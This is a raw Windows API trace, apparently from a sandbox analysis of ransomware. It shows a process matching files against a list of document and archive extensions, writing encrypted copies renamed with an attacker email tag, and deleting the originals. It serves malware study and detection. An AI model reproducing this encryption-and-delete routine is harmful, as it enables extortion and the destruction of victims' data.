lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0052.220] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0052.220] lstrlenW (lpString=".jpg") returned 4 [0052.220] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0052.220] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0052.220] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0052.220] lstrlenW (lpString=".doc") returned 4 [0052.220] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0052.220] lstrlenW (lpString=".docx") returned 5 [0052.220] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0052.220] lstrlenW (lpString=".pdf") returned 4 [0052.220] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0052.220] lstrlenW (lpString=".xls") returned 4 [0052.220] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0052.220] lstrlenW (lpString=".xlsx") returned 5 [0052.220] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0052.220] lstrlenW (lpString=".ppt") returned 4 [0052.221] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0052.221] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0052.221] lstrlenW (lpString=".zip") returned 4 [0052.221] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0052.221] lstrlenW (lpString=".rar") returned 4 [0052.221] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0052.221] lstrlenW (lpString=".bz2") returned 4 [0052.221] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0052.221] lstrlenW (lpString=".7z") returned 3 [0052.221] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0052.221] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0052.221] lstrlenW (lpString=".dbf") returned 4 [0052.221] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0052.221] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0052.221] lstrlenW (lpString=".1cd") returned 4 [0052.221] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0052.221] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0052.221] lstrlenW (lpString=".jpg") returned 4 [0052.221] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0052.221] lstrcmpiW (lpString1=".rtf", lpString2=".save") returned -1 [0052.221] lstrlenW (lpString="eula.rtf") returned 8 [0052.221] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0052.222] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=6851) returned 1 [0052.222] CloseHandle (hObject=0x2f0) returned 1 [0052.222] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 0x80 [0052.222] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.222] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0052.222] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.222] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.222] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0052.222] GetLastError () returned 0x0 [0052.222] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x1ac3, lpOverlapped=0x0) returned 1 [0052.224] WriteFile (in: hFile=0x2cc, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x1ad0, lpOverlapped=0x0) returned 1 [0052.225] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.225] WriteFile (in: hFile=0x2cc, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xe4, lpOverlapped=0x0) returned 1 [0052.225] SetEndOfFile (hFile=0x2cc) returned 1 [0052.225] CloseHandle (hObject=0x2cc) returned 1 [0052.226] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.226] SetEndOfFile (hFile=0x2f0) returned 1 [0052.227] CloseHandle (hObject=0x2f0) returned 1 [0052.227] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.227] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 1 [0052.227] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0052.227] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0052.227] lstrlenW (lpString=".doc") returned 4 [0052.227] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0052.227] lstrlenW (lpString=".docx") returned 5 [0052.227] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0052.227] lstrlenW (lpString=".pdf") returned 4 [0052.228] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0052.228] lstrlenW (lpString=".xls") returned 4 [0052.228] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0052.228] lstrlenW (lpString=".xlsx") returned 5 [0052.228] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0052.228] lstrlenW (lpString=".ppt") returned 4 [0052.228] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0052.228] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0052.228] lstrlenW (lpString=".zip") returned 4 [0052.228] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0052.228] lstrlenW (lpString=".rar") returned 4 [0052.228] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0052.228] lstrlenW (lpString=".bz2") returned 4 [0052.228] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0052.228] lstrlenW (lpString=".7z") returned 3 [0052.228] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0052.228] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0052.228] lstrlenW (lpString=".dbf") returned 4 [0052.228] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0052.228] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0052.228] lstrlenW (lpString=".1cd") returned 4 [0052.228] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0052.228] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0052.228] lstrlenW (lpString=".jpg") returned 4 [0052.228] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0052.228] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0052.228] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0052.228] lstrlenW (lpString=".doc") returned 4 [0052.228] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0052.228] lstrlenW (lpString=".docx") returned 5 [0052.228] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0052.228] lstrlenW (lpString=".pdf") returned 4 [0052.228] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0052.229] lstrlenW (lpString=".xls") returned 4 [0052.229] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0052.229] lstrlenW (lpString=".xlsx") returned 5 [0052.229] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0052.229] lstrlenW (lpString=".ppt") returned 4 [0052.229] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0052.229] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0052.229] lstrlenW (lpString=".zip") returned 4 [0052.229] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0052.229] lstrlenW (lpString=".rar") returned 4 [0052.229] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0052.229] lstrlenW (lpString=".bz2") returned 4 [0052.229] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0052.229] lstrlenW (lpString=".7z") returned 3 [0052.229] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0052.229] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0052.229] lstrlenW (lpString=".dbf") returned 4 [0052.229] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0052.229] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0052.229] lstrlenW (lpString=".1cd") returned 4 [0052.229] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0052.229] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0052.229] lstrlenW (lpString=".jpg") returned 4 [0052.229] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0052.229] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0052.229] lstrlenW (lpString="LocalizedData.xml") returned 17 [0052.229] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0052.230] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=72076) returned 1 [0052.230] CloseHandle (hObject=0x2f0) returned 1 [0052.230] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 0x80 [0052.230] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.230] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0052.230] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.230] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.231] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0052.231] GetLastError () returned 0x0 [0052.231] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x1198c, lpOverlapped=0x0) returned 1 [0052.233] WriteFile (in: hFile=0x2cc, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x11990, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x11990, lpOverlapped=0x0) returned 1 [0052.235] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.235] WriteFile (in: hFile=0x2cc, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xf6, lpOverlapped=0x0) returned 1 [0052.235] SetEndOfFile (hFile=0x2cc) returned 1 [0052.235] CloseHandle (hObject=0x2cc) returned 1 [0052.237] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.237] SetEndOfFile (hFile=0x2f0) returned 1 [0052.238] CloseHandle (hObject=0x2f0) returned 1 [0052.741] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.741] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 1 [0052.741] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0052.741] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0052.741] lstrlenW (lpString=".doc") returned 4 [0052.741] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0052.741] lstrlenW (lpString=".docx") returned 5 [0052.741] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0052.742] lstrlenW (lpString=".pdf") returned 4 [0052.742] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0052.742] lstrlenW (lpString=".xls") returned 4 [0052.742] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0052.742] lstrlenW (lpString=".xlsx") returned 5 [0052.742] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0052.742] lstrlenW (lpString=".ppt") returned 4 [0052.742] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0052.742] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0052.742] lstrlenW (lpString=".zip") returned 4 [0052.742] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0052.742] lstrlenW (lpString=".rar") returned 4 [0052.742] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0052.742] lstrlenW (lpString=".bz2") returned 4 [0052.742] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0052.742] lstrlenW (lpString=".7z") returned 3 [0052.742] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0052.742] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0052.742] lstrlenW (lpString=".dbf") returned 4 [0052.742] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0052.742] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0052.742] lstrlenW (lpString=".1cd") returned 4 [0052.742] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0052.742] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0052.742] lstrlenW (lpString=".jpg") returned 4 [0052.742] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0052.742] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0052.742] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0052.742] lstrlenW (lpString=".doc") returned 4 [0052.742] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0052.742] lstrlenW (lpString=".docx") returned 5 [0052.742] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0052.742] lstrlenW (lpString=".pdf") returned 4 [0052.743] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0052.743] lstrlenW (lpString=".xls") returned 4 [0052.743] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0052.743] lstrlenW (lpString=".xlsx") returned 5 [0052.743] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0052.743] lstrlenW (lpString=".ppt") returned 4 [0052.743] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0052.743] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0052.743] lstrlenW (lpString=".zip") returned 4 [0052.743] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0052.743] lstrlenW (lpString=".rar") returned 4 [0052.743] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0052.743] lstrlenW (lpString=".bz2") returned 4 [0052.743] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0052.743] lstrlenW (lpString=".7z") returned 3 [0052.743] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0052.743] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0052.743] lstrlenW (lpString=".dbf") returned 4 [0052.743] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0052.743] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0052.743] lstrlenW (lpString=".1cd") returned 4 [0052.743] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0052.743] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0052.743] lstrlenW (lpString=".jpg") returned 4 [0052.743] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0052.743] lstrcmpiW (lpString1=".rtf", lpString2=".save") returned -1 [0052.743] lstrlenW (lpString="eula.rtf") returned 8 [0052.743] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0052.744] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=4040) returned 1 [0052.744] CloseHandle (hObject=0x2f0) returned 1 [0052.744] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 0x80 [0052.744] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.744] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0052.744] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.744] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.744] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0052.744] GetLastError () returned 0x0 [0052.744] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0xfc8, lpOverlapped=0x0) returned 1 [0052.746] WriteFile (in: hFile=0x2c0, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xfd0, lpOverlapped=0x0) returned 1 [0052.747] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.747] WriteFile (in: hFile=0x2c0, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xe4, lpOverlapped=0x0) returned 1 [0052.747] SetEndOfFile (hFile=0x2c0) returned 1 [0052.747] CloseHandle (hObject=0x2c0) returned 1 [0052.748] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.748] SetEndOfFile (hFile=0x2f0) returned 1 [0052.749] CloseHandle (hObject=0x2f0) returned 1 [0052.749] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.749] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 1 [0052.749] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0052.749] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0052.749] lstrlenW (lpString=".doc") returned 4 [0052.749] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0052.749] lstrlenW (lpString=".docx") returned 5 [0052.749] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0052.749] lstrlenW (lpString=".pdf") returned 4 [0052.749] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0052.749] lstrlenW (lpString=".xls") returned 4 [0052.750] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0052.750] lstrlenW (lpString=".xlsx") returned 5 [0052.750] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0052.750] lstrlenW (lpString=".ppt") returned 4 [0052.750] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0052.750] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0052.750] lstrlenW (lpString=".zip") returned 4 [0052.750] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0052.750] lstrlenW (lpString=".rar") returned 4 [0052.750] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0052.750] lstrlenW (lpString=".bz2") returned 4 [0052.750] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0052.750] lstrlenW (lpString=".7z") returned 3 [0052.750] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0052.750] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0052.750] lstrlenW (lpString=".dbf") returned 4 [0052.750] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0052.750] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0052.750] lstrlenW (lpString=".1cd") returned 4 [0052.750] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0052.750] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0052.750] lstrlenW (lpString=".jpg") returned 4 [0052.750] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0052.750] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0052.750] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0052.750] lstrlenW (lpString=".doc") returned 4 [0052.750] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0052.750] lstrlenW (lpString=".docx") returned 5 [0052.750] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0052.750] lstrlenW (lpString=".pdf") returned 4 [0052.750] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0052.750] lstrlenW (lpString=".xls") returned 4 [0052.750] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0052.751] lstrlenW (lpString=".xlsx") returned 5 [0052.751] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0052.751] lstrlenW (lpString=".ppt") returned 4 [0052.751] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0052.751] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0052.751] lstrlenW (lpString=".zip") returned 4 [0052.751] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0052.751] lstrlenW (lpString=".rar") returned 4 [0052.751] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0052.751] lstrlenW (lpString=".bz2") returned 4 [0052.751] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0052.751] lstrlenW (lpString=".7z") returned 3 [0052.751] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0052.751] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0052.751] lstrlenW (lpString=".dbf") returned 4 [0052.751] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0052.751] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0052.751] lstrlenW (lpString=".1cd") returned 4 [0052.751] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0052.751] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0052.751] lstrlenW (lpString=".jpg") returned 4 [0052.751] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0052.751] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0052.751] lstrlenW (lpString="LocalizedData.xml") returned 17 [0052.751] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0052.752] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=82374) returned 1 